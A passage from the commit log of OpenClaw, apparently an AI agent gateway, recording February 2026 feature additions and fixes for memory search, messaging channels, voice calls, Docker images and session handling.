3. **openclaw doctor stale lock detection** (doctor-session-locks.ts)
   - New health check scans for .jsonl.lock files
   - Reports PID status and age of each lock found
   - In --fix mode, removes stale locks automatically

4. **Transcript error entry on API failure** (attempt.ts)
   - When promptError is set, write an error marker to the session
     transcript before releasing the lock
   - Preserves conversation history even on model API failures

Closes #18060
2026-02-16 23:59:22 +01:00
Rodrigo Uroz
7d8d8c338b config: align memory hybrid UI metadata with schema labels/help 2026-02-16 23:59:19 +01:00
Rodrigo Uroz
65ad9a4262 Memory: fix MMR tie-break and temporal timestamp dedupe 2026-02-16 23:59:19 +01:00
Rodrigo Uroz
33cf27a52a fix: MMR default disabled, tie-break null guard, correct docs URL
- DEFAULT_MMR_CONFIG.enabled = false (opt-in, was incorrectly true)
- Tie-break: handle bestItem === null so first candidate always wins
- CHANGELOG URL: docs.clawd.bot → docs.openclaw.ai
- Tests updated to pass enabled: true explicitly where needed
2026-02-16 23:59:19 +01:00
Rodrigo Uroz
6b3e0710f4 feat(memory): Add opt-in temporal decay for hybrid search scoring
Exponential decay (half-life configurable, default 30 days) applied
before MMR re-ranking. Dated daily files (memory/YYYY-MM-DD.md) use
filename date; evergreen files (MEMORY.md, topic files) are not
decayed; other sources fall back to file mtime.

Config: memorySearch.query.hybrid.temporalDecay.{enabled, halfLifeDays}
Default: disabled (backwards compatible, opt-in).
2026-02-16 23:59:19 +01:00
Rodrigo Uroz
fa9420069a feat(memory): Add MMR re-ranking for search result diversity
Adds Maximal Marginal Relevance (MMR) re-ranking to hybrid search results.

- New mmr.ts with tokenization, Jaccard similarity, and MMR algorithm
- Integrated into mergeHybridResults() with optional mmr config
- 40 comprehensive tests covering edge cases and diversity behavior
- Configurable lambda parameter (default 0.7) to balance relevance vs diversity
- Updated CHANGELOG.md and memory docs

This helps avoid redundant results when multiple chunks contain similar content.
2026-02-16 23:59:19 +01:00
Rain
a0ab301dc3 Fix Discord auto-thread attempting to thread in Forum/Media channels\n\nCreating threads on messages within Forum/Media channels is often redundant\nor invalid (as messages are already posts). This prevents API errors and spam.\n\nFix: Check channel type before attempting auto-thread creation. 2026-02-16 23:59:16 +01:00
Rain
b90d7625e5 Fix Discord session routing continuity (enable lastRoute for groups)\n\nPreviously, 'updateLastRoute' was only enabled for Direct Messages.\nThis meant that group/channel sessions did not update their routing\nmetadata (last channel/to/accountId) in 'session-meta.json'.\n\nIf the bot restarted or a proactive cron job tried to send a message\nto a group session using 'sessions_send' without an explicit 'to' field,\nit would fail because 'lastRoute' was missing or stale.\n\nFix: Enable 'updateLastRoute' for all Discord messages (Group + DM),\nensuring the session store always has the latest valid routing target. 2026-02-16 23:59:16 +01:00
Rob Dunn
dbe2ab6f62 cron: keep usage telemetry in run log types + error paths 2026-02-16 23:58:38 +01:00
Rob Dunn
ddea5458d0 cron: log model+token usage per run + add usage report script 2026-02-16 23:58:38 +01:00
tian Xiao
edbc68e9f1 feat: support Z.AI tool_stream for real-time tool call streaming
Add support for Z.AI's native tool_stream parameter to enable real-time
visibility into model reasoning and tool call execution.

- Automatically inject tool_stream=true for zai/z-ai providers
- Allow disabling via params.tool_stream: false in model config
- Follows existing pattern of OpenRouter and OpenAI wrappers

This enables Z.AI API features described in:
https://docs.z.ai/api-reference#streaming

AI-assisted: Claude (OpenClaw agent) helped write this implementation.
Testing: lightly tested (code review + pattern matching existing wrappers)

Closes #18135
2026-02-16 23:58:35 +01:00
ranausmanai
c529e6005a fix(gateway): set explicit chat timeouts for mesh gateway calls 2026-02-16 23:58:23 +01:00
ranausmanai
16e59b26a6 Add mesh auto-planning with chat command UX and hardened auth/session behavior 2026-02-16 23:58:23 +01:00
ranausmanai
83990ed542 Add mesh orchestration gateway methods with DAG execution and retry 2026-02-16 23:58:23 +01:00
Parker Todd Brooks
15fe87e6b7 feat: add before_message_write plugin hook
Synchronous hook that lets plugins inspect and optionally block messages
before they are written to the session JSONL file. Primary use case is
private mode... when enabled, the plugin returns { block: true } and the
message never gets persisted.

The hook runs on the hot path (synchronous, like tool_result_persist).
Handlers execute sequentially in priority order. If any handler returns
{ block: true }, the write is skipped immediately. Handlers can also
return a modified message to write instead of the original.

Changes:
- src/plugins/types.ts: add hook name, event/result types, handler map entry
- src/plugins/hooks.ts: add runBeforeMessageWrite() following tool_result_persist pattern
- src/agents/session-tool-result-guard.ts: invoke hook before every originalAppend() call
- src/agents/session-tool-result-guard-wrapper.ts: wire hook runner to the guard

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:58:12 +01:00
Winston
94eecaa446 fix: atomic session store writes to prevent context loss on Windows
On Windows, fs.promises.writeFile truncates the target file to 0 bytes
before writing. Since loadSessionStore reads the file synchronously
without holding the write lock, a concurrent read can observe the empty
file, fail to parse it, and fall through to an empty store — causing the
agent to lose its session context.

Changes:
- saveSessionStoreUnlocked (Windows path): write to a temp file first,
  then rename it onto the target. If rename fails due to file locking,
  retry 3 times with backoff, then fall back to copyFile (which
  overwrites in-place without truncating to 0 bytes).
- loadSessionStore: on Windows, retry up to 3 times with 50ms
  synchronous backoff (via Atomics.wait) when the file is empty or
  unparseable, giving the writer time to finish. SharedArrayBuffer is
  allocated once and reused across retry attempts.
2026-02-16 23:57:21 +01:00
Rain
1bef2fc68b fix(whatsapp): allow per-message link preview override\n\nWhatsApp messages default to enabling link previews for URLs. This adds\nsupport for overriding this behavior per-message via the \nparameter (e.g. from tool options), consistent with Telegram.\n\nFix: Updated internal WhatsApp Web API layers to pass option\ndown to Baileys . 2026-02-16 23:57:09 +01:00
misterdas
312a7f7880 fix: make tool exit code handling less aggressive
Treat normal process exits (even with non-zero codes) as completed tool results.
This prevents standard exit codes (like grep exit 1) from being surfaced
as 'Tool Failure' warnings in the UI. The exit code is still appended
to the tool output for assistant awareness.
2026-02-16 23:56:56 +01:00
Buddy (AI)
91903bac15 fix: include OPENCLAW_SERVICE_VERSION in system presence version detection
The gateway's system-presence.ts was not detecting the version when
OpenClaw is run as a launchd service, because the daemon-runtime.ts
sets OPENCLAW_SERVICE_VERSION but system-presence.ts only checked
OPENCLAW_VERSION and npm_package_version.

This caused 'openclaw status' to show 'unknown' for the version.

Issue: #18456

🤖 AI-assisted (lightly tested)
2026-02-16 23:56:10 +01:00
Rick Qian
5d9a026a9e gateway: hard-cap chat.history oversized payloads 2026-02-16 23:56:05 +01:00
Peter Steinberger
97e0f8d551 fix(onboarding): keep wildcard allowFrom helper string-typed 2026-02-16 22:55:59 +00:00
Peter Steinberger
64f5e4a424 refactor(onboarding): reuse allowlist merge across channels 2026-02-16 22:55:59 +00:00
Peter Steinberger
486b7379d4 refactor(test): dedupe doctor harness mock payload factories 2026-02-16 22:55:59 +00:00
Peter Steinberger
230e1d9962 refactor(auth): share profile id dedupe helper 2026-02-16 22:55:59 +00:00
Peter Steinberger
ff7a735115 refactor(onboarding): share allowlist merge helpers 2026-02-16 22:55:59 +00:00
Echo
1dfacd4dd1 fix(status): avoid bot+app token warning for mattermost 2026-02-16 23:55:56 +01:00
Echo
82861968c2 fix(mattermost): address review feedback on reactions PR 2026-02-16 23:55:40 +01:00
Echo
2a2372cd6c feat(mattermost): add emoji reactions support 2026-02-16 23:55:40 +01:00
Tom Peri
b57d29d833 fix(slack): extract text and media from forwarded message attachments 2026-02-16 23:55:34 +01:00
SK Heavy Industries
4928717b92 fix: handle Qwen 3 reasoning field in Ollama responses
Qwen 3 (and potentially other reasoning-capable models served via Ollama)
returns its final answer in a `reasoning` field with an empty `content`
field. This causes blank/empty responses since OpenClaw only reads `content`.

Changes:
- Add `reasoning?` to OllamaChatResponse message type
- Fall back to `reasoning` when `content` is empty in buildAssistantMessage
- Accumulate `reasoning` chunks during streaming when `content` is empty

This allows Qwen 3 to work correctly both with and without /no_think mode.
2026-02-16 23:55:31 +01:00
Ty Sabs
46bf210e04 fix: always drop orphaned OpenAI reasoning blocks in session history
downgradeOpenAIReasoningBlocks was only called on model change, but
orphaned reasoning items (e.g. from an aborted stream) can exist without
a model switch and cause a 400 from the OpenAI Responses API.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:55:28 +01:00
Usama Saqib, Ph.D.
e33017982c Update README.md
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-02-16 23:55:02 +01:00
Usama Saqib, Ph.D.
e759b4cd58 Update README.md
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-02-16 23:55:02 +01:00
Usama Saqib, Ph.D.
572cfb7a53 Update README.md
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-02-16 23:55:02 +01:00
Usama Saqib, Ph.D.
57aef596b4 Revise Android installation link in README
Updated Android installation instructions in README.
2026-02-16 23:55:02 +01:00
Krish
0a02b91638 Handle Telegram poll vote updates for agent context 2026-02-16 23:54:56 +01:00
Krish
5cbfaf5cc7 Add Telegram polls action to config typing 2026-02-16 23:54:56 +01:00
Krish
b2fe44b1ee Fix lint in telegram poll action handler 2026-02-16 23:54:56 +01:00
Krish
c43e95e011 Default Telegram polls to public 2026-02-16 23:54:56 +01:00
Krish
556b531a14 Fix Telegram poll action wiring 2026-02-16 23:54:56 +01:00
Mitsuyuki Osabe
afd354c482 fix: add catalog validation to models set command
`models set` accepts any syntactically valid model ID without checking
the catalog, allowing typos to silently persist in config and fail at
runtime. It also unconditionally adds an empty `{}` entry to
`agents.defaults.models`, bypassing any provider routing constraints.

This commit:
- Validates the model ID against the catalog (skipped when catalog is
  empty during initial setup)
- Warns when a new entry is added with empty config (no provider routing)

Closes openclaw/openclaw#17183

✍️ Author: Claude Code with @carrotRakko (AI-written, human-approved)
2026-02-16 23:54:52 +01:00
Rami Abdelrazzaq
0b8b95f2c9 fix(update): prevent gateway crash loop after failed self-update
The gateway unconditionally scheduled a SIGUSR1 restart after every
update.run call, even when the update itself failed (broken deps,
build errors, etc.). This left the process restarting into a broken
state — corrupted node_modules, partial builds — causing a crash loop
that required manual intervention.

Three fixes:

1. Only restart on success: scheduleGatewaySigusr1Restart is now
   gated on result.status === "ok". Failed or skipped updates still
   write the restart sentinel (so the status can be reported back to
   the user) but the running gateway stays alive.

2. Early bail on step failure: deps install, build, and ui:build now
   check exit codes immediately (matching the preflight section) so a
   failed deps install no longer cascades into a broken build and
   ui:build.

3. Auto-repair config during update: the doctor step now runs with
   --fix alongside --non-interactive, so unknown config keys left over
   from schema changes between versions are stripped automatically
   instead of causing a startup validation crash.
2026-02-16 23:54:49 +01:00
wu-tian807
671f913123 feat: support per-model thinkingDefault override in models config
The global `agents.defaults.thinkingDefault` forces a single thinking
level for all models.  Users running multiple models with different
reasoning capabilities (e.g. Claude with extended thinking, GPT-4o
without, Gemini Flash with lightweight reasoning) cannot optimise the
thinking level per model.

Add an optional `thinkingDefault` field to `AgentModelEntryConfig` so
each entry under `agents.defaults.models` can declare its own default.
Resolution priority: per-model → global → catalog auto-detect.

Example config:

    "models": {
      "anthropic/claude-sonnet-4-20250514": { "thinkingDefault": "high" },
      "openai/gpt-4o":                      { "thinkingDefault": "off" }
    }

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-16 23:54:45 +01:00
Ocean Vael
e368c36503 feat: add llms.txt discovery as default agent behavior
Add automatic llms.txt awareness so agents check for /llms.txt or
/.well-known/llms.txt when exploring new domains.

Changes:
- System prompt: new 'llms.txt Discovery' section (full mode only,
  when web_fetch is available) instructing agents to check for llms.txt
  files when visiting new domains
- web_fetch tool: updated description to mention llms.txt discovery

llms.txt is an emerging standard (like robots.txt for AI) that helps
site owners describe how AI agents should interact with their content.
Making this a default behavior helps the ecosystem adopt agent-native
web experiences.

Ref: https://llmstxt.org
2026-02-16 23:54:40 +01:00
artale
4df970d711 fix: improve error for unconfigured local providers (ollama/vllm) (#17328)
When a user sets `agents.defaults.model.primary: "ollama/gemma3:4b"`
but forgets to set OLLAMA_API_KEY, the error is a confusing
"unknown model: ollama/gemma3:4b". The Ollama provider requires any
dummy API key to register (the local server doesn't actually check it),
but this isn't obvious from the error.

Add `buildUnknownModelError()` that detects known local providers
(ollama, vllm) and appends an actionable hint with the env var name
and a link to the relevant docs page.

Before: Unknown model: ollama/gemma3:4b
After:  Unknown model: ollama/gemma3:4b. Ollama requires authentication
        to be registered as a provider. Set OLLAMA_API_KEY="ollama-local"
        (any value works) or run "openclaw configure".
        See: https://docs.openclaw.ai/providers/ollama

Closes #17328
2026-02-16 23:54:31 +01:00
OpenClaw Bot
6e1edc7d62 fix: correct Sparkle appcast version for 2026.2.15
The sparkle:version was incorrectly set to '11213' instead of '202602150',
causing the macOS app to not detect the 2026.2.15 update. Sparkle compares
versions as strings, so '11213' < '202602140' (2026.2.14's version), preventing
the update from being offered to users.

Fixes openclaw/openclaw#18178
2026-02-16 23:54:23 +01:00
OpenClaw Bot
b2d622cfa3 fix: clear stale device-auth token on token mismatch
When the gateway connection fails due to device token mismatch (e.g., after
re-pairing the device), clear the stored device-auth token so that
subsequent connection attempts can obtain a fresh token.

This fixes the cron tool failing with 'device token mismatch' error
after running 'openclaw configure' to re-pair the device.

Fixes #18175
2026-02-16 23:54:23 +01:00
Mahsum Aktas
0ee3480690 fix(cron): preserve model fallbacks when agent overrides primary
When an agent config specifies `model: { primary: "..." }` without
an explicit `fallbacks` array, the existing code replaced the entire
model object from `agents.defaults`—discarding the default fallbacks.

This caused cron jobs (and agent sessions) to have only one model
candidate (the pinned model) plus the global primary as a final
fallback, skipping all intermediate fallback models.

The fix merges the agent model override into the existing defaults
model object using spread, so that keys like `fallbacks` survive
when the agent only overrides `primary`. Agents can still explicitly
override or clear fallbacks by providing their own `fallbacks` array.

Reproduction scenario:
- `agents.defaults.model = { primary: "codex", fallbacks: ["opus", "flash", "deepseek"] }`
- Agent config: `model: { primary: "codex" }`
- Cron job pins: `model: "flash"`
- Before fix: fallback candidates = [flash, codex] (3 models lost)
- After fix: fallback candidates = [flash, opus, deepseek, ..., codex]
2026-02-16 23:54:17 +01:00
Joshua Mitchell
5a3a448bc4 feat(commands): add /subagents spawn command
Add a `spawn` action to the /subagents command handler that invokes
spawnSubagentDirect() to deterministically launch a named subagent.

Usage: /subagents spawn <agentId> <task> [--model <model>] [--thinking <level>]

Also includes the shared subagent-spawn module extraction (same as the
refactor/extract-shared-subagent-spawn branch) since it hasn't merged yet.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:54:14 +01:00
Saurabh.Chopade
bb5ce3b02f CLI: preserve message send components payload 2026-02-16 23:54:08 +01:00
Sriram Naidu Thota
63fb998074 fix: address code review feedback
- Use stricter regex: /^[A-Za-z0-9+/]*={0,2}$/ ensures = only at end
- Normalize URL-safe base64 to standard (- → +, _ → /)
- Added tests for padding in wrong position and URL-safe normalization

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-02-16 23:53:54 +01:00
Sriram Naidu Thota
38c96bc53e fix: validate base64 image data before API submission
Adds explicit base64 format validation in sanitizeContentBlocksImages()
to prevent invalid image data from being sent to the Anthropic API.

The Problem:
- Node's Buffer.from(str, "base64") silently ignores invalid characters
- Invalid base64 passes local validation but fails at Anthropic's stricter API
- Once corrupted data persists in session history, every API call fails

The Fix:
- Add validateAndNormalizeBase64() function that:
  - Strips data URL prefixes (e.g., "data:image/png;base64,...")
  - Validates base64 character set with regex
  - Checks for valid padding (0-2 '=' chars)
  - Validates length is proper for base64 encoding
- Invalid images are replaced with descriptive text blocks
- Prevents permanent session corruption

Tests:
- Rejects invalid base64 characters
- Strips data URL prefixes correctly
- Rejects invalid padding
- Rejects invalid length
- Handles empty data gracefully

Closes #18212

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-02-16 23:53:54 +01:00
yinghaosang
aeec95f870 fix(gateway): include deliveryContext in update.run restart sentinel (#18239) 2026-02-16 23:53:50 +01:00
Ignacio
d43c11c76d test: update tests and comments to reflect new autoSelectFamily default
- Update test expectation: 'defaults to enable on Node 22'
- Update comment in fetch.ts to explain IPv4 fallback rationale
- Addresses greptile review feedback
2026-02-16 23:53:44 +01:00
Ignacio
c762bf71f6 fix(telegram): enable autoSelectFamily by default for Node.js 22+
Fixes issue where Telegram fails to send messages when IPv6 is configured
but not functional on the network.

Problem:
- Many networks (especially in Latin America) have IPv6 configured but
  not properly routed by ISP/router
- Node.js tries IPv6 first, gets 'Network is unreachable' error
- With autoSelectFamily=false, Node doesn't fallback to IPv4
- Result: All Telegram API calls fail

Solution:
- Change default from false to true for Node.js 22+
- This enables automatic IPv4 fallback when IPv6 fails
- Config option channels.telegram.network.autoSelectFamily still available
  for users who need to override

Symptoms fixed:
- Health check: Telegram | WARN | failed (unknown) - fetch failed
- Logs: Network request for 'sendMessage' failed
- Bot receives messages but cannot send replies

Tested on:
- macOS 26.2 (Sequoia)
- Node.js v22.15.0
- OpenClaw 2026.2.12
- Network with IPv6 configured but not routed
2026-02-16 23:53:44 +01:00
Yao
3ec936d1b4 fix(daemon): prefer current node and add macOS version manager paths to service PATH 2026-02-16 23:53:41 +01:00
Yao
1a8548df18 fix(daemon): prefer current node (process.execPath) and add macOS version manager paths to service PATH
On macOS, `openclaw gateway install` hardcodes the system node
(/opt/homebrew/bin/node) in the launchd plist, ignoring the node from
version managers (fnm/nvm/volta). This causes the Gateway to run a
different node version than the user's shell environment.

Two fixes:

1. `resolvePreferredNodePath` now checks `process.execPath` first.
   If the currently running node is a supported version, use it directly.
   This respects the user's active version manager selection.

2. `buildMinimalServicePath` now includes version manager bin directories
   on macOS (fnm, nvm, volta, pnpm, bun), matching the existing Linux
   behavior.

Fixes #18090
Related: #6061, #6064
2026-02-16 23:53:41 +01:00
David Szarzynski
59eac34c2b changelog: add channel health monitor entry 2026-02-16 23:53:35 +01:00
David Szarzynski
30ee12e40a gateway: wire channel health monitor into startup with configurable interval 2026-02-16 23:53:35 +01:00
David Szarzynski
497e2d76ad feat(gateway): add channel health monitor with auto-restart 2026-02-16 23:53:35 +01:00
David Szarzynski
68489a213f gateway: expose isManuallyStopped and resetRestartAttempts on ChannelManager 2026-02-16 23:53:35 +01:00
Xinhua Gu
ae0b110e44 fix(security): set 0o600 on remaining session file write paths
Follow-up to #18066 — three session file write sites were missed:

- auto-reply/reply/session.ts: forked session transcript header
- pi-embedded-runner/session-manager-init.ts: session file reset
- gateway/server-methods/sessions.ts: compacted transcript rewrite

All now use mode 0o600 consistent with transcript.ts and chat.ts.
2026-02-16 23:53:28 +01:00
Artemii
d4c057f8c1 feat(inbound-meta): expose sender_id in trusted system metadata
Add sender_id (ctx.SenderId) to the openclaw.inbound_meta.v1 payload
so agents can reference it for moderation actions (delete, ban, etc.)
without relying on user-controlled text fields.

message_id and chat_id were already present; sender_id was the missing
piece needed for complete group moderation workflows.
2026-02-16 23:53:24 +01:00
康熙
bcab2469de feat: LLM-based query expansion for FTS mode
When searching in FTS-only mode (no embedding provider), extract meaningful
keywords from conversational queries using LLM to improve search results.

Changes:
- New query-expansion module with keyword extraction
- Supports English and Chinese stop word filtering
- Null safety guards for FTS-only mode (provider can be null)
- Lint compliance fixes for string iteration

This helps users find relevant memory entries even with vague queries.
2026-02-16 23:53:21 +01:00
康熙
65aedac20e fix: enable FTS fallback when no embedding provider available (#17725)
When no embedding provider is available (e.g., OAuth mode without API keys),
memory_search now falls back to FTS-only mode instead of returning disabled: true.

Changes:
- embeddings.ts: return null provider with reason instead of throwing
- manager.ts: handle null provider, use FTS-only search mode
- manager-search.ts: allow searching all models when provider is undefined
- memory-tool.ts: expose search mode in results

The search results now include a 'mode' field indicating 'hybrid' or 'fts-only'.
2026-02-16 23:53:21 +01:00
康熙
153794080e fix: support OAuth for Gemini media understanding
Extract parseGeminiAuth() to shared infra module and use it in both
embeddings-gemini.ts and inline-data.ts.

Previously, inline-data.ts directly set x-goog-api-key header without
handling OAuth JSON format. Now it properly supports both traditional
API keys and OAuth tokens.
2026-02-16 23:53:21 +01:00
康熙
3379b9d341 fix: support OAuth for Gemini embedding API
Add parseGeminiAuth() to detect OAuth JSON format ({"token": "...", "projectId": "..."})
and use Bearer token authentication instead of x-goog-api-key header.

This allows OAuth users (using gemini-cli-auth extension) to use memory_search
with Gemini embedding API.
2026-02-16 23:53:21 +01:00
yinghaosang
d24340d75b channels: migrate extension account listing to factory 2026-02-16 23:53:19 +01:00
yinghaosang
59384001ad channels: migrate core channel account listing to factory 2026-02-16 23:53:19 +01:00
yinghaosang
5544ab820c channels: add createAccountListHelpers factory 2026-02-16 23:53:19 +01:00
Knox
9aa8db5c81 fix(doctor,configure): skip gateway auth for loopback-only setups 2026-02-16 23:53:11 +01:00
yinghaosang
6757a9fedc fix(telegram): clean up update offset on channels remove --delete (#18233) 2026-02-16 23:53:06 +01:00
George McCain
b91e43714b feat(linq): add interactive onboarding adapter
Walk users through Linq setup via `openclaw channels add` wizard
instead of requiring manual JSON config editing. Prompts for API
token, phone number, and webhook config with sensible defaults.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:56 +01:00
George McCain
1d81cc4f1f feat(linq): add read receipts, typing indicators, and User-Agent header
Send read receipt and typing indicator immediately on inbound messages
for a more natural iMessage experience. Add User-Agent header to all
Linq API requests. Fix delivery payload to use .text instead of .body.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:56 +01:00
George McCain
60bd154e5a fix: parse webhook URL pathname instead of raw string match
Fixes incorrect path matching that would reject valid webhooks with
querystrings and match unintended prefixes like /linq-webhookX.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:56 +01:00
George McCain
d4a142fd8f feat: add Linq channel — real iMessage via API, no Mac required
Adds a complete Linq iMessage channel adapter that replaces the existing
iMessage channel's Mac Mini + dedicated Apple ID + SSH wrapper + Full Disk
Access setup with a single API key and phone number.

Core implementation (src/linq/):
- types.ts: Linq webhook event and message types
- accounts.ts: Multi-account resolution from config (env/file/inline token)
- send.ts: REST outbound via Linq Blue V3 API (messages, typing, reactions)
- probe.ts: Health check via GET /v3/phonenumbers
- monitor.ts: Webhook HTTP server with HMAC-SHA256 signature verification,
  replay protection, inbound debouncing, and full dispatch pipeline integration

Extension plugin (extensions/linq/):
- ChannelPlugin implementation with config, security, setup, outbound,
  gateway, and status adapters
- Supports direct and group chats, reactions, and media

Wiring:
- Channel registry, dock, config schema, plugin-sdk exports, and plugin
  runtime all updated to include the new linq channel

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:56 +01:00
JayMishra-github
95024d1671 fix: log error on auto-end failure instead of swallowing
Address review feedback: log a warning when endCall fails on stream
disconnect instead of silently discarding the error.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:51 +01:00
JayMishra-github
4c0a741308 fix: apply oxfmt 0.32.0 formatting (match CI version)
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:51 +01:00
JayMishra-github
d56c04a3b5 fix: apply oxfmt formatting
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:51 +01:00
JayMishra-github
3eec5e54b1 fix(voice-call): auto-end call when media stream disconnects
When a Twilio media stream disconnects (e.g., caller hangs up or
network drops), the call object was left in an active state indefinitely.
This caused "stuck calls" that consumed resources and blocked new calls.

Now calls are automatically ended when their media stream closes,
matching the expected lifecycle behavior.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:51 +01:00
JayMishra-github
a5c94b8e7b fix: log error on reaper endCall failure instead of swallowing
Address review feedback: log a warning when the stale call reaper
fails to end a call instead of silently discarding the error.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:48 +01:00
JayMishra-github
390c503b56 feat(voice-call): add configurable stale call reaper
Adds a periodic reaper that automatically ends calls older than a
configurable threshold. This catches calls stuck in unexpected states,
such as notify-mode calls that never receive a terminal webhook from
the provider.

New config option:
  staleCallReaperSeconds: number (default: 0 = disabled)

When enabled, checks every 30 seconds and ends calls exceeding the
max age. Recommended value: 120-300 for production deployments.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:48 +01:00
JayMishra-github
47f8c9209f test: add tests for extraArgs filtering logic
Address review feedback: add tests covering empty strings,
non-strings, mixed arrays, and non-array inputs for extraArgs.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:42 +01:00
JayMishra-github
cc3c25e413 fix: apply oxfmt 0.32.0 formatting (match CI version)
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:42 +01:00
JayMishra-github
2977f7325d fix: add extraArgs to sandbox browser config and apply oxfmt formatting
Add the missing extraArgs property to buildSandboxBrowserResolvedConfig
to satisfy the ResolvedBrowserConfig type, and fix import ordering.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:42 +01:00
JayMishra-github
039fc1e04c feat(browser): add extraArgs config for custom Chrome launch arguments
Adds a `browser.extraArgs` config option (string array) that is appended
to Chrome's launch arguments. This enables users to add stealth flags,
window size overrides, custom user-agent strings, or other Chrome flags
without patching the source code.

Example config:
  browser.extraArgs: ["--window-size=1920,1080", "--disable-infobars"]

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:42 +01:00
Marcus Widing
de900bace8 fix: reset announceRetryCount in replaceSubagentRunAfterSteer
Address review feedback: the spread operator carries stale retry state
into replacement runs, potentially causing immediate force-expiration
without ever attempting announce delivery.
2026-02-16 23:52:39 +01:00
Marcus Widing
a6c741eb46 fix(announce): break infinite retry loop with max attempts and expiry (#18264)
When runSubagentAnnounceFlow returns false (deferred), finalizeSubagentCleanup
resets cleanupHandled=false and removes from resumedRuns, allowing
retryDeferredCompletedAnnounces to pick it up again. If the underlying
condition persists (stale registry data, transient state), this creates an
infinite loop delivering 100+ announces over hours.

Fix:
- Add announceRetryCount + lastAnnounceRetryAt to SubagentRunRecord
- finalizeSubagentCleanup: after MAX_ANNOUNCE_RETRY_COUNT (3) failed attempts
  or ANNOUNCE_EXPIRY_MS (5 min) since endedAt, mark as completed and stop
- resumeSubagentRun: skip entries that have exhausted retries or expired
- retryDeferredCompletedAnnounces: force-expire stale entries
2026-02-16 23:52:39 +01:00
JayMishra-github
0764999e2c fix: document intentional non-persistence of initialMessage deletion
Address review feedback: the in-memory deletion of initialMessage is
not persisted to disk, which is acceptable because a gateway restart
would also sever the media stream, making replay impossible.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:36 +01:00
JayMishra-github
0291ce30a8 fix: apply oxfmt 0.32.0 formatting (match CI version)
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:36 +01:00
JayMishra-github
dd319d05d8 fix: apply oxfmt formatting
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:36 +01:00
JayMishra-github
2c6db57554 feat(voice-call): pre-cache inbound greeting for instant playback
Pre-generates TTS audio for the configured inboundGreeting at startup
and serves it instantly when an inbound call connects, eliminating the
500ms+ TTS synthesis delay on the first ring.

Changes:
- twilio.ts: Add cachedGreetingAudio storage with getter/setter
- runtime.ts: Pre-synthesize greeting TTS after provider initialization
- webhook.ts: Play cached audio directly via media stream on inbound
  connect, falling back to the original TTS path for outbound calls
  or when no cached audio is available

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:36 +01:00
JayMishra-github
27a4868c2d fix: move Chromium install after pnpm install and use playwright-core/cli.js
Address review feedback:
- Move the OPENCLAW_INSTALL_BROWSER block after pnpm install so
  playwright-core is available in node_modules
- Use node /app/node_modules/playwright-core/cli.js instead of
  npx playwright to avoid npm override conflicts in Docker

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:30 +01:00
JayMishra-github
d6aa9adec5 feat(docker): add optional Chromium + Xvfb install in Docker image
Adds a build arg OPENCLAW_INSTALL_BROWSER that, when set, pre-installs
Chromium (via Playwright) and Xvfb into the Docker image. This eliminates
the 60-90 second Playwright install that otherwise happens on every
container start when browser features are used.

Usage:
  docker build --build-arg OPENCLAW_INSTALL_BROWSER=1 -t openclaw:browser .

Without the build arg, behavior is unchanged (no Chromium in image).

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:30 +01:00
JayMishra-github
8b14052ebe fix: capture init script exit codes instead of swallowing via pipe
Address review feedback: the pipe to sed swallowed the script's exit
code. Now capture output in a variable and check exit status separately
so failures are logged as warnings in the entrypoint output.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:26 +01:00
JayMishra-github
53af9f7437 feat(docker): add init script support via /openclaw-init.d/
Adds an ENTRYPOINT script that runs user-provided init scripts from
/openclaw-init.d/ before starting the gateway. This is the standard
Docker pattern (used by nginx, postgres, etc.) for customizing container
startup without overriding the entire entrypoint.

Usage:
  docker run -v ./my-init-scripts:/openclaw-init.d:ro openclaw

Scripts must be executable. Non-executable files are skipped with a
warning. Scripts run in alphabetical order with output prefixed.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:26 +01:00
JayMishra-github
717caa97fb fix: remove stderr suppression so install failures are visible in build logs
Address review feedback: remove 2>/dev/null so that if the LanceDB
native binary download fails, the error is visible in Docker build
logs for debugging rather than silently swallowed.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:23 +01:00
JayMishra-github
2ab6313d99 fix(docker): ensure memory-lancedb deps installed in Docker image
